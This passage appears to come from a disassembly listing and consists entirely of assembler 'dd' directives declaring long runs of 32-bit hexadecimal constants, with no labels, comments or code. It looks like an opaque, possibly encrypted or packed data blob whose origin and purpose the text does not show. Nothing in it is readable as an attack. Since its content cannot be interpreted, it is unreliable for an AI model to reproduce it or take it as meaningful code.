		dd 8B05F582h, 0CA008C25h, 6118BFA7h, 3B6BDB1h, 0ACB28EC2h
		dd 4EE0B482h, 2B0ECE10h, 7D255FB7h, 0BD2F12C0h,	33A75A1h
		dd 0CEF0D745h, 86C888D8h, 948E24Bh, 42FF0005h, 0CA63C573h
		dd 386A009Ah, 975943E7h, 0F9007E18h, 0C0B39D0h,	9048B3F4h
		dd 0C92500E1h, 63DA3FEh, 85006957h, 96AAB451h, 1297351Ah
		dd 0BE0912C6h, 53EDA500h, 3E6DAC5h, 0E29A919Eh,	9B902535h
		dd 0D0031B57h, 0B5CC6FD6h, 0FE65A187h, 3C784C4h, 3B6A1224h
		dd 0AA880AE0h, 0E735970h, 91CB6D00h, 15374BD2h,	5EDD0181h
		dd 8042A77Eh, 6623EC65h, 96C4EC00h, 0BD1FB2A8h,	160900B7h
		dd 5E0D4358h, 0D400975Ah, 4F07B8B0h, 9D747Eh, 57678099h
		dd 0FCF2755h, 4C514500h, 5A5392D8h, 483B3EC9h, 0F1BBE381h
		dd 70F40BECh, 5100607Ah, 4DEBE70h, 0D32512h, 9388485Bh
		dd 10545331h, 1D78700h,	0A0EA0E65h, 0B0ED501Ah,	0A198074Ch
		dd 10C3D3F1h, 17025A6Dh, 97F81600h, 6AFDE37h, 8CD02A48h
		dd 0F85861C4h, 70BCF7C3h, 0F3002489h, 0C1079625h, 9E94F4h
		dd 0E35357F1h, 85B8E6Ah, 3100F58h, 44B3A4C9h, 0C856E084h
		dd 177C3F98h, 0EB5B97h,	3E6079E6h, 0E0FCA28Ch, 7B7A3Bh
		dd 0F42275CBh, 9C40ED2h, 0FC6A9D6Fh, 0B0700E60h, 73E12958h
		dd 8D371E0Eh, 80AE0B7h,	2A4C723h, 8227BBCAh, 6DE0C0CEh
		dd 0CF0F99D9h, 0C7EB7EEFh, 49F005CCh, 38EDA7h, 0FA3DB517h
		dd 0EE5220D6h, 68621500h, 678A6195h, 0BE7700BFh, 1DE53E1h
		dd 0C57C9964h, 8778E500h, 17084902h, 0D93C00F1h, 43505F70h
		dd 2500BB05h, 510A1637h, 7BE98CFh, 9FEBF697h, 91C1307Fh
		dd 820A1C9Bh, 0C4ECFC7Ch, 0E2EA7600h, 768F71Eh,	0AA61B956h
		dd 930C1C9h, 2F3FE06Eh,	783F28DEh, 0DEAB7828h, 0B35F8D00h
		dd 0E598A7AEh, 0E87D03ADh, 0F748F54Fh, 4207A598h, 25709D0Fh
		dd 887C80F2h, 7B5F35Eh,	3F1F2BE9h, 0EF407E4Bh, 0E1AE7DDDh
		dd 602E8B30h, 0C16F36F6h, 0F1047F70h, 0B8BC99h,	89748FF7h
		dd 0E4737964h, 0C7587425h, 0F0C91B11h, 5B6EB780h, 0F150976Ch
		dd 9BB600B3h, 0F6E06703h, 0A8028F3Dh, 0D7D58680h, 0B825E032h
		dd 8D623F98h, 1C3BAD86h, 0E5E971A5h, 9DB5FC4Bh,	9212AA19h
		dd 45F9A19h, 6D2CF7E0h,	3200D97Eh, 53FDD6DFh, 0A509CFFh
		dd 4FBE3974h, 427341A0h, 9FE700A8h, 0E8ED3A18h,	4B3E993Eh
		dd 0F6853457h, 74C2BECh, 807CCF3Ch, 3DA6AC0h, 0B4B5037Ah
		dd 41CD1C98h, 0DB045B80h, 3E3074F8h, 0FF8119E1h, 0B686885Ah
		dd 0C1518A1h, 3D24A8A6h, 9D118401h, 4921B833h, 0C2F578Ah
		dd 77242515h, 110C3850h, 391F2186h, 46C24D10h, 6124BBB6h
		dd 18821035h, 0E1951921h, 24352B3Ch, 0C4A8CE5h,	6B886C71h
		dd 422D453Eh, 0B2AF8A18h, 0C4A7925h, 1D65847Fh,	9C0A0C4Ah
		dd 0C4A2965h, 8566C055h, 11257E19h, 21CB4D5Ah, 0E2DE8A4Eh
		dd 580A113Ch, 7F7C048Dh, 0E4D70347h, 31491160h,	99FC0318h
		dd 9506FAAh, 0A08897E0h, 75A63D00h, 6E58FE52h, 4A8700CAh
		dd 74B07719h, 2492BEEAh, 0FBF6550Ch, 988DD142h,	12EC889Eh
		dd 31E920ACh, 8BD70700h, 1CC3BFCFh, 0AC101ABh, 1E8E406Eh
		dd 2F521002h, 187C12B5h, 6A5047B2h, 886ED630h, 472C4500h
		dd 1CAA980Ch, 128471B9h, 0E5303h, 189D12F0h, 1CA5ECFEh
		dd 523B8240h, 8DEF0CF7h, 6BB1BE46h, 58124800h, 35B95F5Bh
		dd 94195070h, 0D233174Ah, 306406E2h, 0DF0F5967h, 2006F87Bh
		dd 0A957FA0h, 0D22600C4h, 91D5CA42h, 0D9DF461Eh, 352D093Ch
		dd 0DCDCA0C8h, 154274BDh, 1486A5B1h, 0D13B0579h, 406AAFE2h
		dd 7DC35034h, 0B939EB82h, 5B3B7CB5h, 57598F3Ch,	48776186h
		dd 0F8800946h, 8FD03165h, 0E0F641AFh, 7EDD638h,	0F430FEB8h
		dd 0E3E636A7h, 9249B8h,	0B47AB20Ch, 3F008899h, 3AEDD2E1h
		dd 71452895h, 0E0D560DFh, 17FDBCEBh, 43D750Fh, 90C9032Eh
		dd 0D350E185h, 3AB76841h, 0F08A8090h, 14B3BD31h, 0C80DFC23h
		dd 0A994650Bh, 3956C03h, 702179C8h, 321F5005h, 0C0275FECh
		dd 0E78330D7h, 42101717h, 0CEF44153h, 80A625EAh, 0D119BAA0h
		dd 0E934AD2Dh, 864A9F1h, 64FB166Ch, 0F93002F3h,	1303E24Eh
		dd 6CD90578h, 87CB0382h, 1EDBC09Ch, 0D33A3E7Bh,	87317C0Fh
		dd 0C11318B7h, 0CD84B8D2h, 22E209CEh, 58279B49h, 9F8880D5h
		dd 0EC3F6017h, 1862B047h, 2621C3CFh, 44F0287Ch,	0DB7C8C86h
		dd 4ABAD316h, 847A6843h, 0DFE0A0B1h, 0A0AA4933h, 2A35A21Dh
		dd 5B4A1280h, 804814CFh, 81B6EC03h, 0F11E7113h,	407078BAh
		dd 14B2D07Bh, 0A0494228h, 39A0B42Ch, 0D726CC80h, 0EAD5C364h
		dd 81BB591Fh, 0D676A700h, 0A07F5BD2h, 3A56EB80h, 0D4182248h
		dd 2F88E06Ah, 975DA2E0h, 194C003Ch, 82397915h, 0C3D8FC86h
		dd 0D1534A29h, 83EA026h, 70C8C310h, 0B33D7480h,	1CF221Bh
		dd 1A75A458h, 64796743h, 0AC92B894h, 8653DB39h,	0D1BEC703h
		dd 4AF130E8h, 0D4C5A770h, 0B1468C15h, 3DEBC130h, 0D61C1A8Eh
		dd 2E36BF40h, 4234E7BBh, 4848E823h, 8A24DA1Ch, 8004BC62h
		dd 4893879Fh, 6154A290h, 20246C38h, 0EEAE411h, 0F6B04855h
		dd 7B301D21h, 0BDC236Bh, 9718FEh, 0C70BA09Ch, 78EF05A3h
		dd 90ABEB21h, 26F78DC0h, 90C828A0h, 0E883C501h,	0E7D1BFA3h
		dd 6692A042h, 0D7120010h, 0EADF49A1h, 0CC1DBCDCh, 48C009D5h
		dd 0D1B4F852h, 8C410060h, 0ECF958D6h, 6309317Ch, 9C850A27h
		dd 0DB3411A8h, 0A8411217h, 58F45008h, 9F1FAABDh, 58260BDAh
		dd 0EFF980C0h, 0F63A3E28h, 24308060h, 9901E6B5h, 0FDF8BE50h
		dd 4C249814h, 3E3107D8h, 8543B27Bh, 7E448070h, 0BA5CC9AEh
		dd 9F484D58h, 30980BD8h, 1ABE057Ah, 413247C1h, 2006C3ECh
		dd 27308664h, 22B1C9D2h, 52061085h, 6FB7E331h, 0C0BFCE8h
		dd 5F9ED31Ch, 204CB310h, 2D09040h, 0A393F80Ch, 0E7086894h
		dd 1864F1EDh, 5919FC3Fh, 0BD00F4E2h, 90C16F3Dh,	9550CC48h
		dd 94451518h, 51EC6888h, 605D5701h, 29B24BBAh, 7620E878h
		dd 56BE77Ah, 0FD4C7390h, 17D04099h, 28F03909h, 0DD0A9C1Fh
		dd 0A0C5CD49h, 0A7B4423Ch, 91FF31CBh, 60A97C11h, 8A4A0FEh
		dd 84488F46h, 0F0D424h,	947A5EC2h, 0DCE85483h, 0F7B0700Ah
		dd 4B80BC6Eh, 0CE56E052h
		dd 31720EBDh, 1E40ADC9h, 7EDDA8F5h, 8354633Ch, 0B073D86Dh
		dd 28A7C436h, 7D5D4500h, 0B137F699h, 96002678h,	0C16D3EB4h
		dd 0B5708h, 0DD85CFD6h,	0D147E7A8h, 0C6CEAE18h,	9F8E28h
		dd 403EB642h, 32759162h, 0E63397Fh, 0A04D0F38h,	0E01BD58h
		dd 673B5C16h, 0BB734580h, 0AF18EE48h, 18492505h, 1E2F01C4h
		dd 63A6B703h, 0F461F0DFh, 4C3FBC7Eh, 90C29D6Ch,	53F62680h
		dd 7E04D685h, 0C8061F73h, 3805180Ch, 1B306695h,	0E3452897h
		dd 22AA03DFh, 5A7062B0h, 9EC4510Eh, 69448067h, 37DBE21Bh
		dd 0C011025Eh, 0E4B46258h, 895DBD05h, 30230F45h, 54B1E676h
		dd 7148C5h, 0DB4DF086h,	0F4C76544h, 0B4388B00h,	8F76B1A6h
		dd 779E33CFh, 0C900639h, 52074C92h, 623485A4h, 5473FB1h
		dd 12F91F0h, 0FC8CF613h, 50690F6Ch, 0BE27D790h,	7FECE200h
		dd 95BFC137h, 88060744h, 0B0295B83h, 0B1C8C4CAh, 30E1A1C1h
		dd 2080D00Ch, 0FD7D74E5h, 8D50BEABh, 0F80A4A8Ch, 94A67613h
		dd 0BC049694h, 0C0673075h, 6C235A48h, 0C7B8AE00h, 761A1EA6h
		dd 7F2E00D3h, 2D1D4519h, 980028AFh, 0F7C4A2CAh,	998725h
		dd 0E0F875D5h, 0B28BD772h, 0C84DFD00h, 59097D93h, 0B0F7015Bh
		dd 9E0AE7ADh, 0FBE140BCh, 9305C97Eh, 0AA4BF07Fh, 323D13C1h
		dd 25A7CCCh, 0D3E7DC1Eh, 860B2A7h, 0C0016346h, 0BB180CF4h
		dd 45E01EDFh, 9B9E00C5h, 2C0176B2h, 0CF00E011h,	0AAB5031Ah
		dd 0E2BE2135h, 7AE200C5h, 9AE133FBh, 0ACF662ABh, 0C111D300h
		dd 0D66FC7C8h, 6C1B0414h, 0C29D9057h, 1AE0354Ch, 23007A3Ch
		dd 0FE3CF91h, 0C3D459h,	2147A356h, 0B14169D6h, 312E61E4h
		dd 96034D03h, 0C83B9394h, 7FC66D6Eh, 5D4B00B3h,	0E7428FC1h
		dd 517BF10Eh, 6F614617h, 5AF5A002h, 3AAA40C8h, 52AE00E4h
		dd 4735E0EBh, 4C00EA27h, 0CA0E63Eh, 0D9433Ch, 0A1301138h
		dd 0C16CDAC3h, 0D4007A73h, 0ABB04258h, 1C5C486h, 0E45230AEh
		dd 801B3421h, 8F110139h, 0FAA16BAh, 0A6E206FFh,	11C55BC7h
		dd 0F8B5CE73h, 4B00DD53h, 55F15D27h, 0D057C2h, 3D62D498h
		dd 0C7FF757Eh, 3B484B03h, 0A88F77BAh, 216871h, 15BD404Eh
		dd 8A8D195Eh, 5BCBFC00h, 3026F39Fh, 0AD853A3Ah,	0FE327D00h
		dd 0E798A759h, 82A91A00h, 0A00621F3h, 6AF1011Fh, 0ADC68E9h
		dd 0A55BF481h, 0DFC72818h, 0FAFA35C0h, 527F01D0h, 67102B71h
		dd 667DCCD9h, 830098E4h, 0B69C13EEh, 3EA198Fh, 590B182Bh
		dd 0CAE8526Dh, 2A00602Fh, 853E826Bh, 0EA323090h, 0FCDA1E6Ch
		dd 0A0C5C3BEh, 47A866F5h, 7001B3E8h, 125DF8E0h,	99D8C83Dh
		dd 8ED0006Eh, 813CF2C1h, 0CE00EA5Ah, 56D4F5D9h,	31F1E6h
		dd 85C2122h, 2B2E4841h,	0B436DC00h, 0C6C7DBCEh,	1E0105ADh
		dd 0C0F37225h, 3519912Eh, 0ECA893Bh, 0C1E4A7DCh, 15D334F6h
		dd 600DF03Bh, 0D5EB6800h, 6E45B833h, 10676F7Ah,	1080C8E7h
		dd 5C3CC49Bh, 2711FCA0h, 3A173007h, 45D08FB3h, 0E41BE8CAh
		dd 0B1D63AF4h, 0EA2B7280h, 42A47EE0h, 0EFD93Ah,	0A317AE7Ch
		dd 4304F7h, 23A78B22h, 0B381A234h, 0DC24900h, 0FB48215Fh
		dd 0A4CA00C6h, 0E105F38Ah, 0DF0E5287h, 0F09490h, 984F2ECh
		dd 58173888h, 70F392h, 3CA30D0Ch, 0B000A53Ah, 9543F772h
		dd 3B49F8A4h, 51002D50h, 9121A77h, 0FB006361h, 0EC6E96BFh
		dd 73C0B14h, 95602C21h,	2513A039h, 0E10070DFh, 483722E6h
		dd 0EC17D38Dh, 0FE1B0024h, 0A90B7243h, 0F200C626h, 0C7AFB6FAh
		dd 8771BAh, 4BFC59C2h, 0FF1D5F41h, 56DCAA00h, 0CFA08A13h
		dd 169F006Ah, 0DD1E8370h, 4F07D4ABh, 3B265AA5h,	7CCE5330h
		dd 0C8B6A0F6h, 0A665009Eh, 6FA3E4C3h, 33BC680h,	0E7A8504Eh
		dd 0A020A500h, 9577BB7Bh, 77F57h, 7DA27C74h, 39D818C9h
		dd 0F8513F00h, 0A6A9E6DCh, 34B700C8h, 0D9C9BFC3h, 4D00D8A7h
		dd 78A04FE2h, 24895B58h, 80F18Bh, 69FD6D14h, 36001D87h
		dd 0BF011BE4h, 3A95C61Fh, 4D9E31FAh, 0EF68C0E7h, 41054EA0h
		dd 720097F6h, 1A11D9ABh, 0FD855Eh, 245CC456h, 15D546DDh
		dd 770630FFh, 55813300h, 9BB469BAh, 10903Bh, 25ACAE58h
		dd 0E0083151h, 97006BF8h, 0F883656Ch, 0E0FD073Bh, 300F006Dh
		dd 852E33B3h, 0E300DA8Bh, 0EB3A7FAAh, 7D4161Bh,	5E14BDE0h
		dd 6FF7505Ah, 0B3007E0Bh, 0E9DC3FA6h, 7D8BBFh, 567A92CCh
		dd 0F597906Dh, 70FFEA00h, 7131265Ch, 355B3981h,	0EE22B20Fh
		dd 0ED33AC80h, 0E5004240h, 0C20DB84Bh, 1BA3F01Ah, 10BD6039h
		dd 0AC717A00h, 7EF5D1CEh, 95783FEFh, 8EE63B00h,	74BEF8A1h
		dd 2518D61Fh, 0E987F280h, 1EBB15Eh, 0C4656083h,	0DC5975E5h
		dd 9900508Dh, 5D71E1E7h, 9A72A36h, 0C6157D1h, 16580100h
		dd 25009CC1h, 598BF2A9h, 780E4F45h, 976D0067h, 0CCB9E34Ah
		dd 0CEE4AB8Ah, 3CE70B2Ch, 1373002h, 0B8CC6163h,	169420h
		dd 8759D893h, 2AE4ECA5h, 0AAF06C71h, 24D94807h,	89605411h
		dd 357FBA0h, 3DDF28B2h,	1F883595h, 77EF89Ah, 0C45D9726h
		dd 9283D500h, 1EBF754h,	0E2D3822Bh, 0F4F1B2A5h,	9B3FA262h
		dd 3394244Eh, 30C07300h, 7BCFFC33h, 0EDE10051h,	0EAE96E8Eh
		dd 6500C11Ch, 58826FC3h, 0FD2219h, 7D4B6A30h, 23AE5421h
		dd 500C2B06h, 1DA3240h,	64BBE790h, 0C44E04A5h, 0FE004527h
		dd 0F398A413h, 9B1667h,	1D909519h, 0DA5EA217h, 0FCA8240Ch
		dd 21B54CDh, 0FD82F6EFh, 60C84D23h, 491DB607h, 5B833496h
		dd 8040ACC3h, 0A1DED6CFh, 5F603FDCh, 0BE2807B7h, 0E0C1E88Bh
		dd 1CF4D57Bh, 56029A00h, 921342EAh, 73760E25h, 59A28B30h
		dd 8868C5CDh, 0C09F0F45h, 673608EEh, 402B0853h,	0F25CAAD8h
		dd 0C0CC89C0h, 3A88E06Eh, 0C776725h, 2712CB21h,	0F800E220h
		dd 0D83BC20h, 3E068Bh, 80C1B0C8h, 0B7B9710Fh, 393AE2E6h
		dd 0AB548041h, 12C6D3D6h, 4F5201DAh, 7D654580h,	2EF4408h
		dd 60754C4Ch, 0B7DA0468h, 0C1914706h, 3C608D1Ah, 5A958B19h
		dd 6904649Fh, 7D73C2h, 1FCF35B1h, 2885309Bh, 48F23C20h
		dd 0DFC9B40Eh, 0C411A0DBh, 0B3D02BBh, 0AE0468F5h, 80351287h
		dd 1B8D82FBh, 81BC2900h, 6F1EE33Ah, 7C21F87Dh, 2040051h
		dd 72EB3E8Ch, 0F4005385h, 0C223A03Ah, 50934Ch, 349C557Bh
		dd 1602AECBh, 4E2BB200h, 3957FC4Fh, 0D594001Fh,	31FD0121h
		dd 7F0542C7h, 820EC479h, 6D1016C7h, 8A40AAh, 0CE7269C3h
		dd 134DC142h, 0BCB0A00h, 0B191D289h, 4E0500E2h,	9A553122h
		dd 6C2EDDFDh, 30035928h, 0B8F8C606h, 71CA17D1h,	0E897162h
		dd 5DC9B2EAh, 4E349F80h, 27FE1277h, 45FCCF00h, 85C272B5h
		dd 3DF8A151h, 0C432DBD9h, 40FA041h, 241C2B81h, 89CBF0F0h
		dd 0C2A86A50h, 0BB36BF01h, 0A3AEC7D7h, 52BDFECh, 3AB7D8CAh
		dd 29ED18CBh, 9883DE3h,	0D92E88A5h, 8963E488h, 11284067h
		dd 0A2816B91h, 5644AC08h, 437F88EBh, 82AAB81Dh,	4422B000h
		dd 310BE69h, 0BCD709Eh,	2000718Fh, 0F7A1D93Fh, 3FF5318Bh
		dd 7F09C3h, 8C085D51h, 0A00D0FF3h, 54987912h, 77F907EAh
		dd 0D37A6549h, 6DA83684h, 4D00BFA6h, 33677101h,	0E0B8ACA7h
		dd 35180095h, 1F409C44h, 661E131Dh, 580009D4h, 0BAD68896h
		dd 85C30354h, 0DB71458Dh, 0CA2C1498h, 6F246100h, 4AECD656h
		dd 0C11F1E22h, 140F8087h, 70CBF4F1h, 2D86A000h,	0F56EC63Dh
		dd 575B1503h, 0E201E49Ah, 0B9160F21h, 0E89C6027h, 8777F7E8h
		dd 74CEED00h, 975EFAFBh
		dd 0E679D9h, 5A677752h,	88C74CD2h, 1600A476h, 602BFC0Dh
		dd 2658ADB6h, 0E8509E0h, 0BA60BCF2h, 324E06F3h,	3B01477Dh
		dd 0F7A4666Ah, 0C24E937h, 508510ADh, 92C51C27h,	0C65ADD80h
		dd 0C080B3h, 0A7F1BB48h, 0A53D2078h, 0D079050Ah, 230B901Bh
		dd 0B0B007A8h, 97C7080h, 0ACF35846h, 0D2AE7A0Eh, 37A38F40h
		dd 7301E0F8h, 3B672A7Eh, 43E4781Fh, 983262C4h, 5048187Ch
		dd 965C1CA6h, 0F3B5009Eh, 0C5989F6Dh, 0B40E00EDh, 0B3CC0AC1h
		dd 19003C61h, 97515B96h, 7DCC076h, 4B321F7Ah, 0F048EDF4h
		dd 3F0003FEh, 41A16074h, 0C58F2Fh, 6A5A6D65h, 0CEBD872h
		dd 0F914B25h, 0D9AE3DCh, 1C67F197h, 0E1493F4h, 0EBE2CF94h
		dd 0C5D52880h, 0BD2C5977h, 43402840h, 113B0F7h,	0AC52FB69h
		dd 0F87A7370h, 3500D44Eh, 0A199AE16h, 0B8B4B1B8h, 97E4006Fh
		dd 0F0A430CFh, 0BD006B59h, 5F8F524Fh, 1C93E9F6h, 809E8C29h
		dd 27A8C3B1h, 5A0039FAh, 32F8EAB9h, 0CFAB0448h,	0D7E0F518h
		dd 0A437217Bh, 65138CE6h, 2000364Ah, 19C3E6Eh, 0C9BD1342h
		dd 0D4FF0148h, 51D23C7Ah, 8015C28Ch, 0CE610472h, 9824B0h
		dd 4775FC52h, 96B18368h, 0BE2FC409h, 0C63815Ch,	980E75Dh
		dd 0E2130BC0h, 0DFB807EDh, 0D41E6E77h, 8A0E7993h, 4C1041E0h
		dd 0BC9435Fh, 0FA65A7D4h, 138D0AC8h, 19BACC0h, 90569899h
		dd 4F44B4Dh, 75F434DEh,	0DB53C280h, 0F0124BE6h,	52601C28h
		dd 0DF954910h, 0A1FA0122h, 23021B82h, 77030D8h,	0B5C9349h
		dd 80510FC3h, 66D44BF1h, 3C3303E4h, 0BAD5ED13h,	927C2EE0h
		dd 6AB72D1Ch, 971C2240h, 0E02ABB0h, 33F2F149h, 40CCF3C7h
		dd 6C7F5D8Fh, 7E45E000h, 0BEBF266Bh, 0FCDD00A6h, 73E81FEh
		dd 140E5719h, 874D9E69h, 0FB809F02h, 0E16E0Ch, 0F27522B9h
		dd 123092B0h, 0E2C1F500h, 32B79788h, 0EBB80090h, 40CB0879h
		dd 6600DE80h, 0FE56683Eh, 0F47655h, 0BF8B4F64h,	0DE753CD3h
		dd 53C50100h, 2EFC9C21h, 3F6BE243h, 68BE9A52h, 6D401C80h
		dd 0B4FE9B59h, 0CD4CD00h, 9080FD7h, 43260050h, 7C3DBEB9h
		dd 9C0006A8h, 93337514h, 7186C5F2h, 0AC1200B6h,	493A5329h
		dd 0E00A1F0h, 0B352E208h, 2EF9E548h, 959BDEh, 4605D8BAh
		dd 0E3001593h, 4F5E0F55h, 0E467D9C6h, 91130752h, 30A48123h
		dd 0CF0F0AFDh, 632CE300h, 268B0E36h, 0E9CD0071h, 0C27F8194h
		dd 1EE8B731h, 7900617Eh, 4F3C74AFh, 26CA96h, 63A7F429h
		dd 0AA71E714h, 9C1058h,	504002A8h, 668BA6h, 0FE138F36h
		dd 0EDBBEFDBh, 0FF002479h, 77542F09h, 394EC951h, 7E00F22Dh
		dd 0BE79B72Bh, 0BA01D884h, 2F9E281Ch, 0AE204389h, 9ACB3B81h
		dd 8F35E780h, 0A2CC80BFh, 0AE002079h, 74752FD6h, 0E11E92h
		dd 0EC375106h, 0D9329BD8h, 2E4B0500h, 43831413h, 6CE30069h
		dd 0B6B5D797h, 0BF005E84h, 0CBD8C98Dh, 0CB8A4799h, 83D5F390h
		dd 0A8FF2CD6h, 5C9593h,	0F6FD83E2h, 53A60EDEh, 7E1A7700h
		dd 0EA677FD8h, 1E6800DAh, 0B198BA12h, 0B800341Ch, 0AC0DA2B6h
		dd 74BF1h, 6D9F7C3Ah, 70BB5A74h, 0B2C34507h, 2F6065ABh
		dd 385E35EBh, 0F06C83h,	634068E0h, 0FFFC3017h, 0C69DD900h
		dd 0E1C809F0h, 1F723Ch,	9C174CDBh, 0A831B529h, 0BB086F04h
		dd 6D8075ABh, 1C0DF752h, 4F67C484h, 6445A8E0h, 69EA8081h
		dd 1B83FEEh, 400012FEh,	2901D5CDh, 3133423h, 142E9641h
		dd 47913042h, 96A06E38h, 60F807AEh, 0D0635805h,	853AA49Bh
		dd 0D496C8A1h, 0E839E668h, 1C3F07F6h, 220065FAh, 0E5BCB9Eh
		dd 726C5348h, 0D65D8580h, 0E6003941h, 0E53B94A6h, 0FD7AB2h
		dd 2FB9199Ah, 7011EBEDh, 0A2773Eh, 0F70791ACh, 242FFECh
		dd 507BB896h, 3C0EDFEh,	1901DB74h, 0F39C9245h, 0D7D44809h
		dd 4ECF1h, 97316376h, 6044B535h, 0E8000D7Ah, 0B407F087h
		dd 63EF71h, 8FE9F75h, 9D6D3A25h, 416B5607h, 5A508A3Ch
		dd 491D76h, 35A2A4C2h, 24DB1EE7h, 7A6AEA00h, 8D8AF421h
		dd 17E2058Fh, 0EC01E9B7h, 0D03B0016h, 98EA429Bh, 0C641C037h
		dd 36F42470h, 4F687E0Bh, 0B159803Ch, 0CA77E8h, 0A5DBCFBDh
		dd 97C7EFA6h, 7EAC705Eh, 0E91BE00Ch, 3903D769h,	0F1A24FD0h
		dd 497C089h, 0D34905D2h, 0C0B0DC4Bh, 0B6BA3B3Ah, 0A5908E03h
		dd 0E017855Bh, 6EE926h,	38F59CAh, 0EB35C239h, 551FCD0Ch
		dd 1D93B084h, 0DE30887Eh, 1D4D12D4h, 5034C098h,	69075AA8h
		dd 37024000h, 3B1CD817h, 1DE6000Fh, 0F2430399h,	0C015FDAh
		dd 0FC7DBBE4h, 6078E0h,	12AFAF7h, 242B34BDh, 0DCD2BE14h
		dd 0BC2C6C30h, 4F0059ACh, 563CBA69h, 3E9300CBh,	9A886C1h
		dd 0DCE47227h, 0DD00757Eh, 0A9128AD9h, 1C7C59DFh, 40A389B5h
		dd 835F1D43h, 6F000D9Ch, 9141185Eh, 1FC825h, 4CB051D9h
		dd 0B7344A70h, 0A55B6D00h, 89332B40h, 0D64600B6h, 2C6536D9h
		dd 9B01C01Bh, 1642A2D5h, 56605720h, 98A00DFh, 0CB96FF01h
		dd 0CD003F7Bh, 13FE8DC5h, 18E7FDCAh, 6615CF11h,	1C00E118h
		dd 0B28FFCCDh, 0B18767h, 560AD506h, 8D5D36B4h, 4DD36500h
		dd 0C8BAA237h, 27E8E3A4h, 39B10042h, 0D2C1D49Ah, 841DA51Ch
		dd 9DC03DA1h, 0EFC03E4Fh, 425B00CDh, 38DD80A2h,	0D1D153Fh
		dd 7F8056E9h, 0CB6417Ah, 0D7740050h, 2D528967h,	0AC00D981h
		dd 92C9E80Fh, 0A02AB68Eh, 0C09FE7C0h, 30785920h, 0C900C55Ah
		dd 80ABAB3h, 1D4E1394h,	0C37DA37Fh, 6A3D8610h, 4F6B5100h
		dd 0E69151B5h, 0A2C207C4h, 56E963F9h, 440041A5h, 83B42018h
		dd 791112h, 0E1890E5Ch,	2F328751h, 703E13E2h, 2BB80EC2h
		dd 109AA73Bh, 39E061DCh, 7A7AC64Dh, 9D54044Bh, 0C0C14C0Fh
		dd 0DF39C296h, 0A85539h, 0BB30DB4Dh, 54C00Ah, 59734FEBh
		dd 32BE8847h, 33F318C2h, 86F1602Fh, 7DA40061h, 85265F8Bh
		dd 70057DCh, 6DE99E3Eh,	1FA91175h, 43D67BA2h, 9B45861Dh
		dd 3E6353F0h, 0CD6A7400h, 5A735218h, 9F670079h,	6C5047D0h
		dd 5E07EDCAh, 0E373AF3h, 6E886960h, 787723h, 0E5C6E612h
		dd 180FAD43h, 0BDEAB800h, 0C1513825h, 1EC4E636h, 0BE33A0C0h
		dd 0CD80F0BAh, 445CAFF3h, 420F3E6Dh, 0E0C0DB92h, 5E577F1Eh
		dd 292D00E0h, 9043B5EEh, 0F2B8A2AEh, 55B83C18h,	0E0DE5B09h
		dd 18C7E80Eh, 1863BFD9h, 0CF1EEBDDh, 6E00747Ch,	462F35Ch
		dd 5AB70542h, 0C00120C7h, 9ECA53BEh, 775839h, 0B3888A89h
		dd 9F26DB75h, 5A3BA2E0h, 0F8C40B00h, 0D2B2C0FAh, 666900AEh
		dd 2B3954C3h, 0B80082FBh, 0D6BE7FF0h, 0CB452Dh,	0F85158Fh
		dd 999BEF2Fh, 6A010C00h, 736693B0h, 1F687FC7h, 0E02CD97h
		dd 0AFA00DEDh, 7FBB2EB1h, 80EF213Ch, 74B5C1B4h,	0ECA9208h
		dd 0CBD37525h, 9838E80h, 95E823D7h, 6C15811Fh, 0D5C82041h
		dd 70C8F4A6h, 8F1B1EDEh, 990600D7h, 0A9FCC541h,	7928831Fh
		dd 0E3D3BD00h, 3F1332F3h, 2C80190Ah, 0F483ABF6h, 1A035A7Eh
		dd 0FF23D573h, 0ED11902Bh, 1CE43F0Bh, 67190487h, 3DDC0018h
		dd 4DE23266h, 0CEF6B0F2h, 6209F100h, 73231AE9h,	0EBCD00DAh
		dd 0DFF91F0Bh, 0DD3A6F94h, 85C23E48h, 69E63A11h, 0C091AB00h
		dd 0BD751E2h, 0BD5C04C9h, 0B90F9200h, 2503F75Ah, 73A31A1Ch
		dd 775FB0BCh, 796C30DCh, 0EB7422A0h, 5400CCF8h,	17731626h
		dd 3559071h, 9181868Ah,	0C0C0FDD3h, 0F100AA6Ah,	570430FCh
		dd 0F758D1h, 0DEBAFFC3h, 5F2EAE93h, 67EBB301h, 9C3CD74Ch
		dd 0B06E98FFh, 0E8B902C8h
		dd 0F5876DD9h, 6B40C8CAh, 0D3E69AEAh, 0B2CD6600h, 0DBF038CAh
		dd 0FF48BAh, 57688D00h,	0F5B9E5BCh, 3EDFB83Dh, 9EC482CFh
		dd 4012DEFCh, 545AD3h, 13BC46DDh, 0C594CAECh, 0BDD55E00h
		dd 60B9BA4Ah, 0F26901C2h, 5F54ED8Bh, 0C189705Bh, 0BDCDB602h
		dd 60620193h, 1E0D326h,	155BE802h, 20AF3C6Bh, 0C6023624h
		dd 2D0D2AA8h, 0F24C7032h, 1FA700DEh, 0D3B58B5Dh, 760139E4h
		dd 62F18390h, 19709596h, 0C5583AD4h, 841481D8h,	0E600C8ACh
		dd 0A34D60F3h, 6C000ED3h, 0B6AF6D15h, 342BAAh, 3E5A67D4h
		dd 0DD7FA6B5h, 9492C107h, 17134493h, 0BAC0DD55h, 721DA7Bh
		dd 6C58D247h, 765E201Ah, 7C1DE1BEh, 0A9048CB9h,	0B88085C4h
		dd 6E816Fh, 0C7B42A0Dh,	93765B29h, 0E03ED400h, 9AE9A1B0h
		dd 0D2F00071h, 65FBB41h, 0D7670FDh, 0AA001098h,	6CFB73A1h
		dd 0D1414Eh, 7AA72ACAh,	126E5D6h, 1871213Bh, 0A548CDC2h
		dd 0A8900022h, 0D2584D40h, 0A7A089EAh, 4600EE2Ch, 0B34B0BA0h
		dd 0F35388h, 73CF6715h,	79441A37h, 339B0800h, 0C904D091h
		dd 428C00A2h, 0FD07F22Ah, 91C036FBh, 69F7665h, 73C6001Fh
		dd 241DCC16h, 513A9722h, 0E57280D0h, 5523E0E9h,	253B266Ah
		dd 0D26500F7h, 0FE49EA3Eh, 3A099F00h, 0B323D8ECh, 0DB4C0035h
		dd 69936429h, 63FC6ABCh, 0FC8A3000h, 0B501B6Dh,	5A4107CCh
		dd 4715457Eh, 0CF44B0B7h, 7000C276h, 0B50DA3BDh, 1E4369ABh
		dd 403423BFh, 8DDC37FBh, 0CF7AFA76h, 50BC1800h,	52B920C3h
		dd 0BBEEDEh, 46A844EEh,	6DD597CEh, 244C691Dh, 0C3679300h
		dd 0BD7F2Fh, 0AEF74D84h, 0D93AC1B6h, 663F6909h,	0D2B40092h
